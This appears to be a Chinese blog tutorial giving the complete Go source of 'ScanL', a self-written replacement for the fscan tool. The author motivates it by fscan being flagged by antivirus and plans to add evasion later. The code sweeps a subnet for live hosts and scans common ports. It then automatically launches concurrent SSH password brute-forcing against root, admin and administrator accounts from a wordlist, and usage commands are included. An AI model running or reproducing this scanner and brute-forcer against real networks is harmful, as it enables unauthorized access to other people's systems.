文章目录
- 前言
- `现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。`
- 一、开发过程
- 1.项目结构
- 2.main.go
- 3.core模块
- 3.1 scanner.go
- 3.2 service.go
- 4.bruteforc
- 4.1 bruteforce.go
- 二、使用步骤
前言
为什么要写这个?
- fscna被杀的概率太高(哪天二开一下免杀)。
- go还在学习的阶段正是写项目的时候,边写边学习go项目。
- 自己写的项目改起来更加方便。
- 实现功能暂时定为网段扫描和暴力破解和输出文档。
现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。
一、开发过程
项目已经打包上传至github:https://github.com/19xinan/Scanl
1.项目结构
项目结构非常简单,现在开发的基本功能包括主机存活探测、端口扫描、暴力破解功能其他功能后序开发。
scanl/
|-- main.go //程序入口,主函数包括命令格式和网段格式限制
|-- core/
| |-- scanner.go// 扫描器,包括线程控制
| |-- services.go//服务识别
|-- bruteforce/
| |-- bruteforce.go//暴力破解模版
|-- pass.txt//暴力破解使用的密码文件
2.main.go
1.实现网段限制
2.实现网段存活探测
3.实现命令行参数限制
4.实现输出扫描结果文档
package main
import (
"flag"
"fmt"
"net"
"os"
"sync"
"time"
"scanl/bruteforce"
"scanl/core"
)
func main() {
fmt.Println(`
██████ ▄████▄ ▄▄▄ ███▄ █ ██▓
▒██ ▒ ▒██▀ ▀█ ▒████▄ ██ ▀█ █ ▓██▒
░ ▓██▄ ▒▓█ ▄ ▒██ ▀█▄ ▓██ ▀█ ██▒▒██░
▒ ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒ ▐▌██▒▒██░
▒██████▒▒▒ ▓███▀ ░ ▓█ ▓██▒▒██░ ▓██░░██████▒
▒ ▒▓▒ ▒ ░░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░ ▒░▓ ░
░ ░▒ ░ ░ ░ ▒ ▒ ▒▒ ░░ ░░ ░ ▒░░ ░ ▒ ░
░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
`)
// 解析命令行参数:-h网段、-all全端口、-t线程数、-pwd指定密码文件、-output指定输出文件名(不指定默认输出)
subnet := flag.String("h", "", "Target subnet for scanning (e.g., 192.168.10.0/24)")
allPorts := flag.Bool("all", false, "Scan all ports (0-65535)")
threads := flag.Int("t", 100, "Number of concurrent threads")
passwordFile := flag.String("pwd", "pass.txt", "Password file for bruteforce")
outputFile := flag.String("output", "scan_results.txt", "Output file for scan results")
flag.Parse()
//检查网段
if *subnet == "" {
fmt.Println("Usage: ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]")
os.Exit(1)
}
// 打开输出文件
outputFileHandle, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
fmt.Printf("Error opening output file: %v\n", err)
os.Exit(1)
}
defer outputFileHandle.Close()
// 解析网段
ips, err := expandCIDR(*subnet)
if err != nil {
fmt.Fprintf(outputFileHandle, "Error parsing subnet: %v\n", err)
os.Exit(1)
}
var wg sync.WaitGroup
var mutex sync.Mutex
var aliveHosts []string
// 检测存活主机并输出到终端和文件
for _, ip := range ips {
wg.Add(1)
go func(ip string) {
defer wg.Done()
if isHostAlive(ip) {
mutex.Lock()
aliveHosts = append(aliveHosts, ip)
mutex.Unlock()
fmt.Printf("Host %s is alive\n", ip)
fmt.Fprintf(outputFileHandle, "Host %s is alive\n", ip)
} else {
fmt.Printf("Host %s is not alive\n", ip)
fmt.Fprintf(outputFileHandle, "Host %s is not alive\n", ip)
}
}(ip)
}
wg.Wait()
// 输出存活主机到文件
fmt.Fprintln(outputFileHandle, "Alive hosts in subnet:")
for _, ip := range aliveHosts {
fmt.Fprintln(outputFileHandle, ip)
}
var ports []int
if *allPorts {
ports = make([]int, 65536)
for i := 0; i <= 65535; i++ {
ports[i] = i
}
} else {
ports = []int{21, 22, 23, 25, 53, 80, 110, 119, 123, 143, 161, 194, 443, 445, 465, 587, 993, 995, 1433, 1521, 1723, 3306, 3389, 5900, 8080, 8443, 8888, 9090, 7001, 9999, 6379, 9200, 9300, 27017} // 精简端口列表
}
// 扫描主机并输出结果到终端和文件
for _, ip := range aliveHosts {
fmt.Fprintf(outputFileHandle, "Scanning host: %s\n", ip)
fmt.Printf("Scanning host: %s\n", ip)
results := core.ScanPorts(ip, ports, *threads)
fmt.Fprintf(outputFileHandle, "Open ports on host %s:\n", ip)
fmt.Printf("Open ports on host %s:\n", ip)
for port, service := range results {
if service != "Closed" {
fmt.Fprintf(outputFileHandle, "Port %d: %s\n", port, service)
fmt.Printf("Port %d: %s\n", port, service)
}
}
// 默认启用暴力破解模块,针对开启了SSH或RDP的端口
if service, found := results[22]; found && service == "SSH" {
fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on SSH...")
fmt.Println("Starting bruteforce attack on SSH...")
bruteforce.Bruteforce(ip, 22, *passwordFile)
}
//RDP实现有问题暂存
//if service, found := results[3389]; found && service == "RDP" {
// fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on RDP...")
// fmt.Println("Starting bruteforce attack on RDP...")
// bruteforce.Bruteforce(ip, 3389, *passwordFile)
//}
fmt.Fprintln(outputFileHandle, "---------------------------------------------")
fmt.Println("---------------------------------------------")
}
fmt.Printf("Scan results saved to %s\n", *outputFile)
}
// expandCIDR 解析网段,生成所有 IP 地址
func expandCIDR(cidr string) ([]string, error) {
ip, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var ips []string
for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {
ips = append(ips, ip.String())
}
// 排除网络地址和广播地址
lenIPs := len(ips)
switch {
case lenIPs < 2:
break
case lenIPs > 2:
ips = ips[1 : len(ips)-1]
}
return ips, nil
}
// IP地址递增
func inc(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
// isHostAlive 检测主机是否存活
func isHostAlive(ip string) bool {
timeout := 2 * time.Second
conn, err := net.DialTimeout("ip4:icmp", ip, timeout)
if err != nil {
return false
}
defer conn.Close()
return true
}
3.core模块
3.1 scanner.go
package core
import (
"fmt"
"net"
"sync"
"time"
)
// ScanPorts 扫描指定主机的指定端口,使用指定数量的并发线程
func ScanPorts(host string, ports []int, threads int) map[int]string {
results := make(map[int]string)
var mu sync.Mutex
var wg sync.WaitGroup
portChan := make(chan int, len(ports))
// 启动指定数量的goroutines
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for port := range portChan {
service := scanPort(host, port)
mu.Lock()
results[port] = service
mu.Unlock()
}
}()
}
// 将所有端口放入通道
for _, port := range ports {
portChan <- port
}
close(portChan)
wg.Wait()
return results
}
// scanPort 扫描单个端口
func scanPort(host string, port int) string {
address := fmt.Sprintf("%s:%d", host, port)
conn, err := net.DialTimeout("tcp", address, 1*time.Second)
if err != nil {
return "Closed"
}
defer func(conn net.Conn) {
err := conn.Close()
if err != nil {
}
}(conn)
return identifyService(port)
}
3.2 service.go
package core
// identifyService 根据端口号识别服务
func identifyService(port int) string {
services := map[int]string{
21: "FTP",
22: "SSH",
23: "Telnet",
25: "SMTP",
53: "DNS",
80: "HTTP",
110: "POP3",
119: "NNTP",
123: "NTP",
143: "IMAP",
161: "SNMP",
194: "IRC",
443: "HTTPS",
445: "SMB",
465: "SMTPS",
587: "Submission",
993: "IMAPS",
995: "POP3S",
1433: "MSSQL",
1521: "Oracle DB",
1723: "PPTP",
3306: "MySQL",
3389: "RDP",
5900: "VNC",
8080: "HTTP-Proxy",
8443: "HTTPS-Alt",
8888: "HTTP-Alt",
9090: "Weblogic",
7001: "Weblogic-Alt",
9999: "HTTP-Alt2",
6379: "Redis",
9200: "Elasticsearch",
9300: "Elasticsearch-Transport",
27017: "MongoDB",
}
if service, found := services[port]; found {
return service
}
return "Unknown"
}
4.bruteforc
这里少了rdp的爆破
4.1 bruteforce.go
package bruteforce
import (
"bufio"
"fmt"
"os"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
// 默认账号列表
var defaultAccounts = []string{"root", "admin", "administrator"}
// Bruteforce 执行暴力破解攻击
func Bruteforce(host string, port int, passwordFile string) {
passwords, err := readPasswords(passwordFile)
if err != nil {
fmt.Printf("Error reading password file: %v\n", err)
return
}
var wg sync.WaitGroup
wg.Add(len(defaultAccounts) * len(passwords))
// 并发尝试不同的账号和密码组合
for _, account := range defaultAccounts {
for _, password := range passwords {
go func(host string, port int, account string, password string) {
defer wg.Done()
fmt.Printf("Trying account: %s, password: %s\n", account, password)
if sshLogin(host, port, account, password) {
fmt.Printf("SSH login successful: %s:%s@%s\n", account, password, host)
}
}(host, port, account, password)
}
}
wg.Wait()
}
// readPasswords 读取密码文件
func readPasswords(filePath string) ([]string, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer func(file *os.File) {
err := file.Close()
if err != nil {
}
}(file)
var passwords []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
passwords = append(passwords, scanner.Text())
}
if err := scanner.Err(); err != nil {
return nil, err
}
return passwords, nil
}
// sshLogin 尝试使用SSH登录
func sshLogin(host string, port int, username, password string) bool {
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 5 * time.Second,
}
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", host, port), config)
if err != nil {
return false
}
defer func(conn *ssh.Client) {
err := conn.Close()
if err != nil {
}
}(conn)
return true
}
二、使用步骤
ScanL.exe -h 192.168.10.1/24
其他参数
ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]